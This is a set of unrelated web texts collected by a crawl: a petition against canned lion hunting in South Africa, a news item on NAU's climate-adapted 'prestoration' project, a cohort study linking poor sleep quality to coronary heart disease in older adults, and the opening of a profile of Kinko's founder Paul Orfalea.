While canned hunts are still legal in South Africa, growing pressure from animal advocacy organizations, governments, and global corporations no doubt has a persuasive effect on the country's lawmakers. Tell the South African Department of Agriculture, Forestry, and Fisheries that canned hunting must be banned immediately!
5050 Community (2015, Aug 18) Lions Part 2. Retrieved June 17, 2017 from https://youtu.be/tK9Y9JGr27Q.
U.S. Fish & Wildlife Service Endangered Species (2015, Dec. 23) Lions Are Now Protected Under the Endangered Species Act. Retrieved June 17, 2017 from https://www.fws.gov/endangered/what-we-do/lion.html
Debora Patta (2016, Oct. 4) Canned lion hunting increasingly under scrutiny in South Africa. Retrieved June 17, 2017 from http://www.cbsnews.com/news/canned-lion-hunting-increasingly-under-scrutiny-in-south-africa/.
Katarzyna Nowak (2016, March 11) The End of 'Canned' Lion Hunting May Be in Sight. Retrieved June 17, 2017 from http://news.nationalgeographic.com/2016/03/140311-trophy-hunting-blood-lions-south-africa-conservation-captive-breeding/.
Campaign Against Canned Hunting (2015, April 25) Airlines around the world place embargo on trophies. Retrieved June 17, 2017 from http://www.cannedlion.org/.
Dear South African Department of Agriculture, Forestry, and Fisheries,
The practice of canned hunting in South Africa is not only a great detriment to a currently protected endangered species, it's a sport for cowards, and deserves to be brought to an immediate end.
Global concern for endangered species is on the rise, and attitudes in South Africa are no different. Canned hunts are experiencing greater condemnation from people and corporations. Many airlines will not even transport hunting trophies, obtained legally or otherwise.
Australia has banned the import of these reprehensible trophies, as has France. And lions are now protected under the U.S. Endangered Species Act. It won't be long until other countries follow suit, leaving South Africa's lion breeders facing a lack of interest in their cruel business.
These animals are not meant to be bred inhumanely, shoved in a pen and shot for entertainment. They are endangered animals, and deserve protection.
I urge you to make canned hunts illegal in South Africa, and stand up for these regal animals, as the rest of the world has already done. | <urn:uuid:6be13c2a-fc5d-452d-a49b-bfe11ca2f7d9> | CC-MAIN-2022-33 | https://therainforestsite.greatergood.com/clicktogive/trs/petition/canned-hunting | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.922934 | 997 | 1.992188 | 2 |
NAU Project Will Demonstrate Restoring Ecosystems for Future Climate
Northern Arizona University’s Southwest Experimental Garden Array will test out the idea of “prestoration”—a kind of ecological restoration that anticipates the expected future climate.
The new research project will take place on 40 acres along the Little Colorado River, on land provided by Babbitt Ranches. Scientists will set up field trials to compare standard restoration practices with a new approach designed for a hotter climate in Arizona.
Tom Whitham of the Merriam-Powell Center for Environmental Research leads the project. He says it’s impractical to restore degraded ecosystems with local plants that won’t survive climate change. “By identifying where plants are already adapted to these hotter, drier environments, and using that in our restoration, we should do better,” he says.
That means relocating trees from lower elevations up to the Colorado Plateau. Natural genetic variation should help them adapt to the changing climate and withstand invasive species.
Whitham says the team is preparing the site for planting next spring. He hopes the project will become a model for “prestoration” in the Southwest.
The two-year, $100,000 grant was awarded by the Nina Mason Pulliam Charitable Trust. | <urn:uuid:846082eb-cc9a-4960-b922-e6a9468de90b> | CC-MAIN-2022-33 | https://www.knau.org/knau-and-arizona-news/2015-11-19/nau-project-will-demonstrate-restoring-ecosystems-for-future-climate | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.912656 | 272 | 3.390625 | 3 |
Research Paper Volume 12, Issue 24 pp 25005—25019
Sleep quality and risk of coronary heart disease - a prospective cohort study from the English longitudinal study of ageing
- 1 Department of Cardiology, Fuwai Hospital, National Center for Cardiovascular Diseases, Chinese Academy of Medical Sciences and Peking Union Medical College, Beijing, China
- 2 Department of Environmental and Occupational Health, West China School of Public Health, Sichuan University, Chengdu, China
Received: May 30, 2020 Accepted: July 21, 2020 Published: November 16, 2020https://doi.org/10.18632/aging.103866
How to Cite
Background: The association between sleep quality and risk of coronary heart disease (CHD) remains unclear in the elderly.
Results: At eight-year follow up, a total of 411 (4.29%) participants developed CHD. Compared with good quality group, the multivariable hazard ratio [HR] (95% confidence interval [CI]) for CHD was 1.393 (1.005, 1.931) for intermediate quality group and 1.913 (1.206, 3.035) for poor quality group. Consistent results were observed in participants with normal sleep duration.
Conclusions: Poor sleep quality may be a novel modifiable risk factor for CHD in the elderly independent of conventional cardiovascular risk factors, even when sleep duration was normal.
Methods: The current study included 9570 CHD-free participants in the English Longitudinal Study of Ageing (ELSA) from wave 4 (2008 to 2009). Incident CHD included new onset angina or myocardial infarction. Sleep quality was measured by a four-item questionnaire. Score ranged from 1 (best) to 4 (poorest). Participants were divided into three groups: good quality (1 ≤ score <2), intermediate quality (2 ≤ score <3) and poor quality (3 ≤ score ≤4). Cox regression model was used to calculate HR for CHD risk according to sleep quality, adjusted for conventional CHD risk factors and sleep duration.
The number and proportion of people aged 60 years or older has been increasing globally over recent decades . It is estimated that the number of people aged > 60 years will increase from 1 billion in 2019 to 1.4 billion by the end of 2030, and to 2.1 billion by the end of 2050. Poor sleep quality is a common concern in the elderly population aged 75 years or older , and affects many aspects of well-being and quality of life, including both physical and mental health conditions . In the research field of sleep quality and coronary heart disease (CHD) risk, the majority of previous studies enrolled middle-aged population, with the mean age ranging from 45 to 58 years [4–8]. Sleep quality was mainly assessed by one or two simple questions, and the assessment methods varied across studies. Inconsistent conclusions were found in previous studies, while poor sleep quality was associated with increased CHD risk in some studies [4, 6, 8], this association was not significant in other studies [5, 7]. In conclusion, the association between sleep quality and CHD risk in the elderly population remains unclear.
The primary objective of the current study is to evaluate the association between sleep quality and CHD risk based on a large cohort study of the elderly population over 8-year follow-up. In addition, since sleep duration is closely related to both sleep quality and CHD risk, we also evaluate whether the association between sleep quality and CHD risk still exists in participants with normal sleep duration.
Of the 9570 participants included for analysis, the number of participants in good, intermediate and poor sleep quality group was 3703 (38.7%), 3863 (40.4%), and 2004 (20.9%) respectively (Figure 1). Mean age of our study cohort was 64.38 years, and the proportion of female was 57.1%. The proportion of female was highest in poor quality group (70.8%), followed by intermediate (57.6%) and good quality (49.2%) group. The proportion of depression symptom was also highest in poor quality group (10.4%), followed by intermediate group (3.0%) and good quality group (1.0%). Compared with good quality or intermediate quality group, poor quality group were less likely to drink alcohol greater than once a week, and less likely to have physical activities. The proportion of participants with prior hypertension increased progressively as sleep quality decreased (good, intermediate and poor sleep quality: 46.1%, 48.5% and 49.0%, respectively). Similarly, the proportion of participants with prior diabetes increased progressively as sleep quality decreased (good, intermediate and poor sleep quality: 12.5%, 14.1% and 15.0%, respectively).
Figure 1. Study flow chart A total of 11050 participants from English longitudinal study of ageing cohort in wave 4 (2008-2009) were screened. After exclusion of participants with coronary heart disease at baseline, with missing data on sleep quality and sex, a total of 9570 participants were included for analysis. Participants were divided into three groups according to sleep quality and followed up over 8 years.
No significant difference in wealth, marital status, education level, NS-SEC classification, BMI, medical history of high cholesterol, chronic obstructive pulmonary disease and cancer were found across groups (Table 1).
Table 1. Baseline characteristics according to sleep quality.
|Variable||Good Quality N=3703||Intermediate Quality N=3863||Poor quality N=2004||P value|
|Age (years)||64.5±10.3||64.9 ±10.0||63.2±9.8||<0.001|
|Women (%)||1822 (49.2)||2224 (57.6)||1418 (70.8)||<0.001|
|Wealth quintile (%)||0.201|
|1 (lowest)||548 (17.1)||627 (18.7)||313 (18.1)|
|2||646 (20.2)||630 (18.8)||366 (21.1)|
|3||642 (20.0)||649 (19.3)||3587 (20.7)|
|4||654 (20.0)||727 (21.7)||341 (19.7)|
|5 (highest)||715 (22.3)||725 (21.6)||356 (20.5)|
|NS-SEC classification (%)||0.622|
|1||1028 (31.9)||1018 (30.3)||548 (31.7)|
|2||794 (24.6)||842 (25.1)||412 (23.8)|
|3||1402 (43.5)||1495 (44.6)||768 (44.4)|
|≥NVQ3/GCE A level||1518 (41.0)||1579 (40.9)||779 (38.9)|
|Marital status (%)||0.361|
|First and the only marriage||2077 (56.1)||2122 (54.9)||1087 (54.2)|
|Depression symptoms (%)||34 (1.0)||96 (3.0)||126 (10.4)||<0.001|
|Current smoking (%)||514 (15.5)||472 (13.9)||392 (22.1)||<0.001|
|At least one alcoholic drink/week (%)||2133 (66.5)||2157 (63.9)||876 (52.0)||<0.001|
|At least one moderate activity/week (%)||3004 (81.1)||3053 (79.0)||1309 (65.3)||<0.001|
|Hypertension (%)||1708 (46.1)||1873 (48.5)||982 (49.0)||0.049|
|Diabetes (%)||461 (12.5)||545 (14.1)||300 (15.0)||0.017|
|High cholesterol (%)||1206 (32.6)||1248 (32.3)||632(31.5)||0.725|
|COPD (%)||95 (2.6)||175(4.5)||138 (6.9)||<0.001|
|Cancer (%)||168 (4.5)||197 (5.1)||107(5.3)||0.337|
|NS-SEC: national statistics social-economic classification;1: managerial and professional occupations; 2: Intermediate occupations; 3: routine and manual occupations; NVQ: National Vocational Qualification; GCE: General Certificate of Education; CSE: Center for Continuing Education; BMI: body mass index; COPD: chronic obstructive pulmonary disease.|
|*education: NVQ3/GCE A level is equivalent to senior high school.|
Sleep quality and outcome
A total of 411 (4.3%) incident cases occurred at a median 8-year follow-up. The number (incidence) of incident CHD cases in good, intermediate and poor quality groups was 128 (3.5%), 174 (4.5%) and 109 (5.4%), respectively. After simple adjustment of age and sex (model 1), the risk of CHD increased progressively with decreased sleep quality (Table 2). Compared with good quality group, HR (95% CI) for intermediate quality group was 1.331 (1.059, 1.674), for poor quality group was 2.001 (1.542, 2.596). Further adjustment of social-economic status, life style and conventional CHD risk factors did not significantly alter the association. Compared with good quality group, HR (95% CI) for intermediate quality group was 1.393 (1.005, 1.931), for poor quality group was 1.913 (1.206, 3.035). When the sleep quality score was modeled as continuous variable, one score increase was significantly associated with increased risk of CHD in all three models (Table 2).
Table 2. Association between baseline sleep quality with risk of CHD.
|Good Quality N=3703||Intermediate Quality N=3863||Poor quality N=2004||Per one score increase|
|No. of Cases /Person-Years||128/22596||174/24090||109/11824||411/58510|
|Model 1||1 (Reference)||1.331 (1.059, 1.674)||2.001 (1.542, 2.596)||1.444 (1.279, 1.630)|
|Model 2||1 (Reference)||1.296 (0.998, 1.684)||1.889 (1.399, 2.553)||1.431 (1.243, 1.646)|
|Model 3||1 (Reference)||1.393 (1.005, 1.931)||1.913 (1.206, 3.035)||1.502 (1.209, 1.865)|
|Model 1: adjusted for age, sex|
|Model 2: model 1+education, social economic classification, marital status, income|
|Model 3: model 2+ current smoking, alcohol consumption, BMI, physical activity, diabetes, high blood cholesterol, hypertension, depression, sleep duration|
The association between baseline sleep quality with secondary outcome are shown in Supplementary Tables 1 and 2, respectively. In all three models, the risk of angina increased progressively as sleep quality decreased. Regarding MI, intermediate quality group had a trend towards higher risk of MI compared with good quality group, but the association was not significant in all three models. Poor quality group had a significant higher risk of MI after adjustment of age and sex (model 1) and socio-economic factors (model 2), and a trend towards higher risk of MI after further adjustment of conventional CHD risk factors plus sleep duration (model 3, Supplementary Table 2).
The distribution of sleep quality score change between wave 4 and wave 6 are shown in Supplementary Figure 1. Approximately 90% of participants had a change less than or equal to 1 point, which indicated that a majority of participants in our study did not show a significant change in sleep quality during the first 4 years. Compared with maintaining good sleep quality between wave 4 and wave 6, maintaining intermediated sleep quality, and quality worsened was associated with trend towards higher CHD risk, and maintaining poor quality was associated with significant higher CHD risk in fully adjusted model (HR: 1.876, 95% CI: 1.055, 3.334, Supplementary Table 3). No obvious trend or significant association was found for sleep quality improved (HR: 0.992, 95% CI: 0.606, 1.624).
We also evaluated the association between the frequency of each sleep problem and risk of CHD (Supplementary Table 4). We have studied three sleep problems: difficulty falling asleep and wake up several times at night and wake up feeling tired and worn out. Regarding difficulty falling asleep, compared with patients who did not report the problem during the last month, those reported “three or more times a week” had higher risk of CHD (HR: 1.843, 95% CI: 1.166, 2.913, p=0.009). Similarly, participants who reported “wake up several times at night” three or more times a week had higher risk of CHD (HR: 1.710, 95% CI: 1.153, 2.538, p=0.008). Regarding “wake up feeling tired and worn out”, a frequency of “once or twice a week” (HR: 1.570, 95% CI: 1.022, 2.412, p=0.039) and “three or more times a week” (HR: 1.921, 95% CI: 1.280, 2.881, p=0.002) was associated with increased CHD risk.
In order to assess whether sleep quality improved the predictive performance of a tradition risk score, we compared the C-statistics between the traditional Framingham 10-year CVD risk score, and traditional+sleep risk score (new risk score). Framingham 10-year CVD risk score was developed based on age, sex, diabetes status, smoking status, treated or untreated systolic blood pressure, and blood lipids to predict 10-year CVD risk in the Framingham study . C statistics for the new and traditional risk score was 0.66 and 0.65, respectively (C-statistics difference: 0.01, 95% CI: 0.0004-0.03, p=0.04, Supplementary Figure 2). Integrated Discrimination Improvement (IDI) was 0.003 (95% CI: 0.002, 0.005, P<0.001) and Net Reclassification Improvement (NRI) was 0.203 (95% CI: 0.095,0.311, P<0.001).
Subgroup and sensitivity analysis
Subgroup analysis showed sleep quality-CHD risk association did not differ significantly according to age, sex or depression symptoms (P interaction: 0.322 for age; 0.783 for sex, 0.657 for depression symptom respectively Table 3). In each age subgroup, poor sleep quality had a trend towards higher risk of CHD compared with good sleep quality. A similar trend was found in male, female, depression or no depression subgroup.
Table 3. Association between baseline sleep quality and risk of coronary according to age, sex and depression.
|Good quality||Intermediate quality||Poor quality||P interaction|
|<60 (N=3462)||1 (Reference)||1.007 (0.497, 2.043)||1.433 (0.598, 3.433)|
|[60-70) (N=3278)||1 (Reference)||2.000 (1.110, 3.603)||2.192 (1.000, 4.804)|
|[70-80) (N= 2027)||1 (Reference)||1.158 (0.685, 1.957)||1.449 (0.655, 3.202)|
|≥80 (N=803)||1 (Reference)||1.905 (0.619, 5.866)||5.837 (1.740, 19.576)|
|Male (N=4106)||1 (Reference)||1.315 (0.878, 1.970)||1.665 (0.873, 3.176)|
|Female (N=5464)||1 (Reference)||1.562 (0.897, 2.719)||2.246 (1.177, 4.285)|
|Yes (N=256)||1 (Reference)||1.466 (0.150, 14.326)||1.010 (0.103, 9.869)|
|No (N=7570)||1 (Reference)||1.385 (0.995, 1.927)||2.004 (1.255, 3.199)|
|adjusted for age, sex, education, social economic classification, marital status, income, current smoking, alcohol consumption, BMI, physical activity, diabetes, high blood cholesterol, hypertension, depression, sleep duration|
To reduce the effect of missing data, we used multiple imputation and calculated the HR (95% CI) for each outcome in the imputed dataset (Supplementary Table 5). Results in the imputed dataset were general consistent with the main analysis. Compared with good sleep quality, intermediate quality (HR: 1.385, 95% CI:1.028, 1.864, p < 0.001) and poor quality (HR: 1.945, 95% CI: 1.285, 2.943, p < 0.001) was associated with increased CHD risk, which was mainly driven by increased angina risk but not MI.
Since sleep duration is closely related to sleep quality, we also examined the effect of sleep quality on CHD risk in participants with normal sleep duration. Sensitivity analysis was performed by excluding participants with too short (<6 hours) or too long sleep (>9 hours). Poor sleep quality was associated with higher CHD risk than good sleep quality in fully adjusted model (HR: 2.058, 95% CI: 1.230, 3.444, p=0.006). Per one score increase was associated with 54.2% increased risk in CHD (Table 4).
Table 4. Association between baseline sleep quality with risk of CHD in participants with normal sleep duration (6–9 hours).
|Good Quality N=3466||Intermediate Quality N=3397||Poor quality N=1168||Per one score increase|
|No. of Cases /Person-Years||120/21292||150/21370||57/6970||327/49632|
|Model 1||1 (reference)||1.313 (1.032, 1.671)||1.813 (1.316, 2.498)||1.416 (1.216, 1.648)|
|Model 2||1 (reference)||1.239 (0.940, 1.634)||1.654 (1.139, 2.403)||1.364 (1.143, 1.628)|
|Model 3||1 (reference)||1.353 (0.958, 1.911)||2.058 (1.230, 3.444)||1.542 (1.212, 1.962)|
|Model 1: adjusted for age, sex|
|Model 2: model 1+education, social economic classification, marital status, income|
|Model 3: model 2+ current smoking, alcohol consumption, BMI, physical activity, diabetes, high blood cholesterol, hypertension, depression, sleep duration|
In this prospective large-scale elderly cohort of participants, poor sleep quality was associated with a 91.3% increased risk of developing CHD than good sleep quality, after adjustment of demographic, socio-economic, conventional CHD risk factors and sleep duration. There was also a positive relationship between frequency of each individual sleep problem and CHD risk. The sleep quality-CHD risk association was consistently observed in various subgroups according to age, sex or the presence of depression symptoms. What’s more important, for participants with normal sleep duration, poor sleep quality was associated with increased risk of CHD than good sleep quality.
Comparison with previous studies
The differences of between our study and previous studies mainly fall into the following two aspects: First, we investigated the sleep quality and CHD risk’s association in the elderly population. There have been a few studies examined the association between sleep quality and CHD risk [4–8]. However, the mean age in these studies ranged from 45 to 58 years, while the mean age of our study was 64.4 years old. The evidence regarding sleep quality and CHD risk’s association in the elderly remains limited. To address this issue, our study used data from the English Longitudinal Study of Ageing, which enrolled participants aged 50 years or more, with a mean age of over 64 years, and examined the sleep quality-CHD risk association. Second, to our knowledge, all previous studies assessed sleep quality only once at baseline, which may not be precise since sleep quality can change over time. By comparison with previous reports, our study not only analyzed the association between baseline sleep quality and CHD risk, but also used data from two sleep assessments at wave 4 and wave 6 to examine the effect of sleep quality change pattern on CHD risk, which provided a more accurate and comprehensive assessment of sleep quality status. Our findings suggested that compared with maintaining good sleep quality, all other quality change patterns (quality improved or worsened, or maintaining intermediate quality) were associated with a trend towards higher risk, and maintaining poor sleep quality was associated with a significant higher CHD risk, highlighting the clinical significance of maintaining good sleep quality.
Methods of sleep quality assessment, and the corresponding definition of “good quality” varied across studies, ranging from one single question to sleep questionnaire including 10 items, which makes direct comparison difficult. However, the assessment methods in our study are in general consistent with previous studies, and covered the three main area, which includes difficulty falling asleep, difficulty maintaining sleep and waking up feeling worn out.
Explanations for the association between sleep quality and CHD risk
The biological mechanisms underlying poor sleep quality and CHD risk remain unclear, but previous studies suggested several possible explanations. First, sleep disturbance was associated with conventional CHD risk factors including diabetes , hypertension and obesity . Second, previous studies suggested that chronic sleep disturbance was associated with sustained inflammation activation, which plays a key role in the pathophysiology of CHD . A large-scale meta-analysis including over 50000 participants revealed that sleep disturbance was associated with elevated inflammatory biomarkers including CRP and IL-6 . Third, lipid metabolism may be an important pathogenic pathway linking poor sleep quality and CHD risk. Lipid metabolism disorder is an important cause of CHD. Previous studies demonstrated that lipid and energy metabolism in human were regulated by circadian system . One nested case-control study found 9 lipid metabolites were higher in woman with poor sleep quality after adjusting age, race, BMI and smoking, and a metabolite score derived from the above 9 metabolites were positively associated with CHD risk after adjusting conventional CHD risk factors . Finally, the hypothalamic-pituitary-adrenocortical (HPA) axis activation and subsequent altered diurnal cortisol levels may also contribute the association between sleep quality and CHD risk .
Of note, we observed a significant association between poor sleep quality and angina pectoris, but not myocardial infarction in the fully adjusted model. Possible explanations include: First, the pathophysiology underlying angina pectoris and myocardial infarction were different. Angina pectoris was mainly caused by episodes of reversible myocardial demand/supply mismatch, when the demand is greater than supply and is often induced by exercise, emotion or stress . Myocardial infarction (MI) is defined in pathology as myocardial cell death due to prolonged myocardial ischemia , mainly caused by the rupture of atherosclerosis plaque and subsequent blockage of coronary artery. The induced condition for angina in daily life may be more easily achieved compared with myocardial infarction. Second, some participants who developed AMI may die before the outcome data was collected. While we assessed non-fatal MI, we were unable to assess the association between sleep quality and fatal MI because we currently don’t have access to mortality data, including survival status and detailed causes of death during follow-up. Finally, the limited number of cases and relatively short follow-up period may explain the non-significant association between sleep quality and AMI.
Poor sleep quality is a common problem in the elderly population. Our study found that poor sleep quality was associated with increased CHD risk, even when sleep duration was normal, and suggested that sleep disorders as novel modifiable risk factors for incidence CHD. Sleep quality may be taken into consideration in future CHD risk assessment, and health education is needed to increase public awareness of poor sleep quality and its potential adverse health effects, in order to promote timely consultation with medical staffs. However, it is worthy to note that our study was an observational study, and more future studies are needed to firstly validate the causal relationship between poor sleep quality and CHD risk, and whether current interventions targeting sleep problems, including psychological treatment and medical devices, are effective in reducing CHD risk.
Strengths and limitations
The current study used data from a well-established elderly cohort with 8 years of follow-up. Our findings provide additional evidence regarding sleep quality-CHD risk association in the elderly population. We further validate our findings by mitigating the bias of abnormal sleep duration. We adjusted sleep duration in the multivariate regression model. In addition, we performed sensitivity analysis by excluding those with abnormal sleep duration, and examined sleep quality-CHD risk association in participants with 6–9 hours of sleep duration.
There are several limitations in the study. Firstly, sleep quality was self-reported and may subject to reporting and selecting bias. We were unable to take into account objective measures of sleep, use of certain sleep medication, or clinical diagnoses such as sleep apnea or insomnia syndrome because these data were not collected in the cohort. However, we found self-reported poor sleep quality, though not an objective sleep measurement, was indeed associated with increased CHD risk after adjustment of confoundings, suggesting an important role of subjective feeling of “good sleep” in cardiovascular health. Second, angina was one component of the primary outcome, which was relatively subjective and may introduce reporting bias. However, angina pectoris was diagnosed by physicians and previous studies supported that angina symptoms was a predictor for future adverse cardiovascular events and impaired quality of life . Therefore, it is of clinical significance to find novel modifiable risk factors for angina pectoris in order to improve participants’ outcome and quality of life. Third, we currently do not have access to data regarding survival status or causes of death during follow-up, so we were unable to investigate the association between sleep quality and fatal myocardial infarction in the current study. Fourth, time to disease onset was calculated based on the first wave of newly onset disease, but not the exact date. Since follow-up was carried out every two years, the time period free of CHD may not be accurate. Fifth, although we adjusted for multiple confounders, there might be unmeasured and residual confounders. Sixth, we included baseline covariates in the multivariable model, but did not consider the serial change of covariates. Finally, our results are not generalizable to younger age-groups and other ethnicities. However, the main objective of the current study is to investigate the sleep quality-CHD risk association in the elderly.
Poor sleep quality is associated with increased risk of CHD, even when sleep duration is normal and after multivariate adjustment in the older population. Our findings suggested that poor sleep quality as novel modifiable risk factors for CHD due to biological plausibility, and future studies are required to explore whether sleep intervention strategy is effective on CHD risk reduction.
We used data from the English longitudinal study of ageing (ELSA), a well-established prospective cohort of participants aged >50 years old living in the UK. Detailed description of the cohort was published previously . In brief, participants in this cohort were followed up every 2 years since 2002, and data were collected regarding family and job, social and economic issues, physical and mental health, behavior and cognition, etc. On wave 2, 4, 6, 8, a nurse visit was carried out to collect biological samples and assess anthropometric measurements, such as body mass index (BMI). The current study used data from wave 4 (2008) to wave 8 (2016). Wave 4 was selected as baseline since this is the first wave when data on sleep characteristics were collected. Study flow chart is shown in Figure 1. We excluded participants who reported angina or heart attack at wave 4 (N=1004), those with missing data on sleep quality (N=475) and sex (N=1), and the remaining 9570 participants were included for analysis. The authors assert that all aspects of this work follows the World Medical Association's Declaration of Helsinki. All participants were provided informed consent and the project received ethical approval from the National Research Ethics Service.
Sleep quality is the exposure of the current study. Sleep quality was assessed by the following 4 questions adapted from Jenkins Sleep Scale : 1) How often respondent has difficulty falling asleep; 2) Frequency wake up several times at night; 3) Frequency wake up feeling tired and worn out; 4) Rating sleep quality overall. Jenkins sleep scale was validated in previous clinical samples and large-scale cohort study . The Cronbach’s alpha was 0.73 at wave 4 of our study population. Regarding the first three questions, respondents answered the frequency of each sleep problem, including 1) Not during the last month (score=1); 2) Less than once a week (score=2); 3) Once or twice a week (score=3); 4) Three or more times a week (score=4). Regarding the fourth question, participants will rate overall sleep quality as 1) very good (score=1); 2) good (score=2); 3) fairly bad (score=3); 4) very bad (score=4). A sleep quality score was calculated by averaging the score of the above four questions . The sleep quality score range from 1 (best sleep quality) to 4 (worst sleep quality).
Participants were divided into three groups according to the sleep quality score: 1) Good quality (1
To explore the association between sleep quality change and incident CHD risk, participants were divided into five groups according to the sleep quality in wave 4 and wave 6: 1) Maintaining good sleep quality group (good sleep quality in both wave 4 and wave 6); 2) Quality improved group (good sleep quality in wave 6 and intermediate/poor quality in wave 4, or intermediate quality in wave 6 and poor quality in wave 4); 3) Quality worsened group (poor quality in wave 6 and good/intermediate quality in wave 4 or intermediate quality in wave 6 and good quality in wave 4); 4) Maintaining intermediate group (intermediate quality in both wave 4 and wave 6); 5) Maintaining poor quality group (poor quality in both wave 4 and wave 6). Sleep quality score change as a continuous variable was also calculated by subtracting wave 4 sleep quality score from wave 6 sleep quality score.
The primary outcome of the current study is coronary heart diseases, defined as a composite endpoint of self-reported physician diagnosed angina or MI in computer assisted personal interviewing. Participants were shown a list of illnesses and asked to report any doctor-diagnosed illness they had received. Incident angina (or MI) was defined as a positive report of physician-diagnosed angina (or heart attack) from wave 5 to wave 8. Participants reported angina or MI at baseline (wave 4) were excluded. Survival time, which was the time from baseline to angina or MI onset, was calculated based on the first wave when disease was reported. For instance, if a participant reported angina on wave 6 for the first time, then survival time was the time interval between wave 4 and wave 6 (equal to 4 years because time interval between each consecutive two waves was 2 years). If a participant was lost to follow-up before wave 8 and did not report angina or MI, then survival time was calculated as the time from baseline to the wave of last follow-up. Secondary outcome in the current study was defined as individual component of the primary outcome, namely 1) incident angina; 2) incident MI.
Covariates are selected based on their possible association with CHD , including age, sex, wealth, social class, education, marital status, depression, current smoking, alcohol intake, BMI, physical activity, medical history of diabetes, hypertension, high cholesterol and sleep duration. Wealth was defined as total non-pension wealth, which combines total financial, physical, and housing wealth but excluded pension wealth, and categorized in quintiles. Social class was categorized by using National Statistics-Socio Economic Classification (NS-SEC), and included: 1) managerial and professional occupations; 2) Intermediate occupations; 3) routine and manual occupations. Education was categorized into six groups according to the highest education qualification at wave 4: 1) National Vocational Qualification (NVQ) 4/5/ degree level or equivalent; 2) higher ed below degree; 3) NVQ3/General Certificate of Education (GCE) A level equivalent; 4) NVQ2/GCE O level or equivalent; 5) NVQ1/ Center for Continuing Education (CSE) or other grade equivalent; 6) foreign/no qualification/ others. Marital status was categorized into seven groups: 1) single; 2) married first and only marriage; 3) remarried; 4) legally separated; 5) divorced; 6) widowed; 7) civil partner/others. Depression symptoms were assessed by Centre for Epidemiological Studies Depression scale (CES-D), and a score≥4 indicated depression symptoms . Physical activity was categorized into 2 groups according to whether moderate or vigorous activity once or more per week. Alcohol intake was categorized into 2 groups according to whether drink alcohol once or more per week. Hypertension was defined as systolic blood pressure greater than 140mmHg and/or diastolic blood pressure greater than 90mmHg, or self-reported hypertension medical history or using anti-hypertensive drugs. Diabetes was defined as HbA1c ≥ 6.5% or fasting blood glucose >7mmol/L or self-reported diabetes medical history, or using insulin/anti-diabetic medication. Sleep duration was modeled as a continuous variable in the cox regression model.
Continuous variables are presented as mean±SD and compared across groups by using ANOVA test. Categorical variables are presented as count (frequency) and compared across groups by using chi-square test. Cox regression model was used to calculate hazard ratios (HRs) and 95% confidence interval (CI) for incident CHD in relation to sleep quality. We used a total of three cox regression models. We firstly adjusted age and sex (model 1). To examine whether the association was independent of socio-economic factors, we further adjusted education, social economic classification, marital status, income (model 2). Because sleep duration was closely related to sleep quality and CHD risk, the final fully adjusted model (model 3) included all covariates in model 2 plus sleep duration and conventional CHD risk factors (current smoking, alcohol consumption, BMI, physical activity, medical history of diabetes, hypertension). To examine whether sleep quality improved the predictive performance of a tradition risk score, we compared the C-statistics between the traditional Framingham CVD risk score, and the traditional+sleep risk score. Differences in C-statistics of these two models, IDI and NRI was calculated to quantify the improvement in model performance.
Subgroup analysis were performed to examine whether sleep quality-CHD risk association differs according to age (<60, (60–70), (70–80), ≥80) sex (male or female) or depression symptoms (depression or not). Fully adjusted model (model 3) as described above was used for subgroup analysis. Number of missing covariates are shown in Supplementary Table 6. Because most variables had less than 4% missing covariates, we used complete case analysis method as the main analysis. We also used multiple imputation method to handle missing data. We assumed data was missing at random and used the chained equations approach with proc MI procedure in SAS. The number of imputation was 25, and the number of burn-in iterations was 5. Continuous variables were imputed by using regression method, and categorical variables were imputed by using logistic methods. We then performed fully adjusted model (model 3) in each of the 25 imputed datasets. The final estimates were calculated according to the 25-fold imputation procedure. We performed the second sensitivity analysis by excluding participants with sleep duration <6 hours or >9 hours, to examine whether poor sleep quality was associated with increased CHD risk in participants with normal sleep duration. The definition of normal sleep duration (6–9 hours) was chosen in accordance with previous reports , and we would like to enroll participants as many as possible and increased the extrapolation of the current study. The fully adjusted regression model (model 3) was used to examine the association with sleep quality and primary outcome in participants with normal sleep duration. All statistical analysis was performed using SAS 9.4 (SAS Institute, Cary, NC, USA).
CHD: coronary heart disease; HR: hazard ratio; CI: confidence interval; ELSA: English longitudinal study of ageing; BMI: body mass index; NS-SEC: National Statistics-Socio Economic Classification; CES-D: Centre for Epidemiological Studies Depression scale.
Kefei Dou, Weihua Song, Hongjian Wang, and Chenxi Song contributed to the design of the study. Chenxi Song and Rui Zhang drafted the manuscript. Chenxi Song, Jiaqiang Liao contributed to statistical analysis of the results. Rui Fu, Chunyue Wang, Qianqian Liu, Rui Zhang contributed to critical revisement of the manuscript.
We acknowledge UK data service officers and all the staff for their kind help in accessing and using data from English Longitudinal study of ageing. We thank all participants for their contribution to ELSA study.
Conflicts of Interest
All authors declared no conflicts of interest.
The current study was funded by the CAMS Innovation Fund for Medical (CIFMS, 2016-I2M-1-009), and National key R&D program of China (2018YFC1315602). ELSA cohort is funded by the National Institute on Aging and by a consortium of UK government departments. Funding has also been provided by the Economic and Social Research Council (ESRC) (https://www.elsa-project.ac.uk/funders).
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The founder of one of the most famous South Coast brand names, Kinko’s, described himself February 15 as “an expert at getting out of work.”
Paul Orfalea spoke to a standing-room-only crowd of some 250 people at the Central Coast MIT Enterprise Forum at the Cabrillo Pavilion Arts Center.
“How did the name ‘Kinko’s’ come about?” Orfalea was asked. As he has replied in the past to that question, Orfalea said, “My nickname was ‘pube head,’” referring to the tiny curls atop his balding pate.
Forty-two years ago, Orfalea founded Kinko’s in Isla Vista after noticing while attending USC that university students and teachers created a huge demand for a 24-hour copying service. His tiny enterprise quickly went from a $6 million firm to a $60 million company.
In 2004, FedEx bought Kinko’s for $2.4 billion, but in 2008 changed the name of its stores from FedEx Kinko’s to FedEx Office. Orfalea, 64, has said that was upsetting to him.
However, Orfalea told the crowd he never saw himself as a gifted entrepreneur.
“I never gave myself much responsibility,” he said. “I didn’t have the temperament to work hard.” These days, Orfalea is heavily involved in philanthropy, but he downplays himself as a businessman’s role model.
“I hated phone calls,” he said. “I didn’t believe in the open door (policy).” Orfalea said, “I managed the culture (of Kinko’s). I didn’t manage the people.”
Running Kinko’s had a lot to do with his desire to enjoy what he was doing, Orfalea said. “My father told me the mundane is a cancer,” he said.
